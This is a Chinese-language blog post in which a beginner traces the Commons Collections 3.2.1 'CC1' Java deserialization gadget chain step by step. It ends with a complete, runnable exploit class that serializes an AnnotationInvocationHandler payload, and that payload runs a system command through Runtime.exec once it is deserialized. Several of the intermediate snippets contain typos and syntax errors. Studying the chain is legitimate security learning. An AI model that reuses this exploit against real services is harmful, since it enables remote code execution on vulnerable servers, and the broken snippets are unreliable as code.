记一次新手小白java反序列化——cc1链的学习

2025-04-15 4 0

前情概要:

cc的第一条链,所以分析的比较细,甚至有一点啰嗦

环境配置

jdk:jdk8u65
sun包源码下载:
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
解压把里面/share/classes/ 的 sun包复制到 jdk1.8.0_65里

记一次新手小白java反序列化——cc1链的学习插图

pom.xml:

<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> 

流程分析:

记一次新手小白java反序列化——cc1链的学习插图1

首先是发现了一个Transform接口,作用是接受一个对象,调用transform方法,会对这个对象进行一些操作
然后找到了一个Transform这个接口的实现类InvokrTransformer,发现他的构造方法可以接受方法名,参数类型以及参数列表,而且都可以自己控制,这就是很标准的一个任一方法调用

记一次新手小白java反序列化——cc1链的学习插图2

InvokrTransformer中的transform会对传入的对象进行反射调用,然后根据InvokrTransformer构造方法中的方法名,参数类型以及参数列表去执行方法

Runtime r=Runtime.getRuntime(); new InvokrTransformer("exec",new Class[]{String.calss},new Object[]{"calc"}).transform(r); 

然后去找哪个类调用了transform方法(必须是不同类)
然后找到了TransformedMap类,其中多次调用了transform方法
然后在TransformedMap中的checkSetValue方法中又调用了valueTransformer下的transform方法去操作checkSetValue传入的value参数

记一次新手小白java反序列化——cc1链的学习插图3

然后看TransformedMap类的构造函数

记一次新手小白java反序列化——cc1链的学习插图4

看构造函数大致猜以下功能就是对传入的map的key和value参数进行一些操作
但是这是一个保护方法,然后去找调用这个方法的方法,然后找到了一个静态的decorate方法

记一次新手小白java反序列化——cc1链的学习插图5

这时候再去完善一下后半条链子

InvokerTransformer invokerTransformer=new InvokrTransformer("exec",new Class[]{String.calss},new Object[]{"calc"}); HashMap<Object,Object> map=new HashMap<>(); TransformedMap.decorate(map,null,invokerTransformer) 

然后再去找checkSetValue的不同类的调用,然后发现了TransformedMap的父类AbstractInputCheckedMapDecorator下的一个静态类MapEntry下有一个setValue方法调用了checkSetValue方法

记一次新手小白java反序列化——cc1链的学习插图6

然后MapEntry是hashmap遍历的时候,一个键值对就是一个entry
所以说正常来讲,我们去遍历前面那个被修饰过的map,就会走到这个setValue方法这儿,然后就会调用checkSetValue方法
然后再去完善一下那条链

Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,invokerTransformer) for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); } 

setValue(r)然后就会到checkSetValue方法,然后r就会作为checkSetValue方法的value参数去执行transform方法,这就和new InvokrTransformer("exec",new Class[]{String.calss},new Object[]{"calc"}).transform(r);作用相同了
然后就继续去找setValue的不同类的调用,然后发现了在AnnotationInvocationHandler类重写了readObject,并且其中有一个遍历map的功能,并且调用了setValue方法,这简直就是一步到位,因为反序列化就会去执行readObject方法

记一次新手小白java反序列化——cc1链的学习插图7

然后看这个类的构造函数,

记一次新手小白java反序列化——cc1链的学习插图8

第一个参数的意思就是要传参进去一个注解,第二个就是说要传参进去一个map,刚好我们上文中的transformedMap符合要求
但是这个AnnotationInvocationHandler并不是public,所以不能直接实例化,要通过反射去获取这个类

Class c=Class.forName("Sun.reflect.annotation.AnnotationInvocationHandler") Constructor annotationInvocationhdlConstructor=c.getDeclaredConstructor(Class.class,Map.class); Object o=annotationInvocationhdlConstructor.newInstance(target,transformedMap) serialize(o); unserialize("ser.bin") 

注意:

这时候其实这条链子其实就已经完成了,但是还存在两个问题

1.最终setvalue执行的并不是期待类Runtime,而是一个固定的类(基于第二个解决办法)

第一个就是setValue方法,之前的setValue方法是对Runtime进行操作,但是最后AnnotationInvocationHandler类中的setValue方法的参数并不是这个,并且似乎我们无法控制

记一次新手小白java反序列化——cc1链的学习插图9

解决办法:
这时候我们不妨换个思路,既然setValue的value值我们无法改变,那么我们尝试回归本质吗,只要让最后执行的value是我们控制的不也能达成目的

记一次新手小白java反序列化——cc1链的学习插图10

由于上一个问题的解决,我们知道此时的valueTransformer方法就是chainedTransformer方法,然后我们又想到最初和ChainedTransformer一起遇到的另一个类ConstantTransformer类,这个类下的transform的作用是无论接受什么输入都只会返回构造函数他自己的值
所以在transformers数组中第一个添加new ConstantTransformer(Runtime.class),然后就会将这个输出作为下一个输入,可以等价为:new InvokerTransformer("getMethod",new Class[]{},new Object[]{})transform(Runtime.class)、
这样可绕过setValue的限制

Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{},new Object[]{}) new InvokerTransformer("invoke",new Class[]{},new Object[]{}) new InvokrTransformer("exec",new Class[]{String.calss},new Object[]{"calc"}) } ChainedTransformer chainedTransformer=new ChainedTransformer(transformers) //chainedTransformer.transform(Runtime.class) 

2.Runtime类本身无法序列化

第二个就是上面我们自己生成Runtime类r,但是这个东西是无法序列化的,因为没有继承那个serialize接口(反射解决)

既然Runtime无法序列化,但是class是可以序列化的
正常反射如下:

Class c=Runtime.class; Method getRuntimeMethod=c.getMethod("getRuntime",null)//无参方法 Runtime r=(Runtime)getRuntimeMethod(null,null)//无参构造,无参方法 Method execMethod=c.getMethod("exec",String.class); execMethod.invoke(r,"calc";) 

这是利用invoketransformer:

Transformer[] transformers=new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{},new Object[]{}) new InvokerTransformer("invoke",new Class[]{},new Object[]{}) new InvokrTransformer("exec",new Class[]{String.calss},new Object[]{"calc"}) } ChainedTransformer chainedTransformer=new ChainedTransformer(transformers) chainedTransformer.transform(Runtime.class) 

然后我们发现这就是递归调用,然后就想到了之前看到一个ChainedTransformer方法,将前一个的输出作为下一个的输入

最后整个exp:

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import javax.xml.crypto.dsig.Transform; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.ConcurrentModificationException; import java.util.HashMap; import java.util.Map; public class cc1 { public static void main(String[] args)throws Exception{ // Class c=Runtime.class; // // Method getRuntimeMethod = c.getMethod("getRuntime",null); // Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//getRuntime是静态方法,可以直接调用,且无参 // Method execMethod = c.getMethod("exec", String.class); // execMethod.invoke(r,"calc"); // Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); // Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod); // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); // Runtime r = Runtime.getRuntime(); // InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); // chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap<>(); map.put("value","aaa");//必须在map里面 Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer); // for(Map.Entry entry:transformedMap.entrySet()){ // entry.setValue(r); // } //AnnotationInvocationHandler直接找找不到因为不是public,反射获取 Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object o=annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj)throws IOException{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } } 

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

WordPress 未授权本地文件包含漏洞(CVE-2025-2294)
SQL注入绕waf姿势:sleep被过滤了怎么办?
emlog pro-2.5.7-2.5.8 存在SQL注入漏洞
JAVA安全学习——SQL注入审计
使用 Proxychains 和 Tor 匿名化你的流量
渗透测试工具 | 信息泄露挖掘——利器HAE

发布评论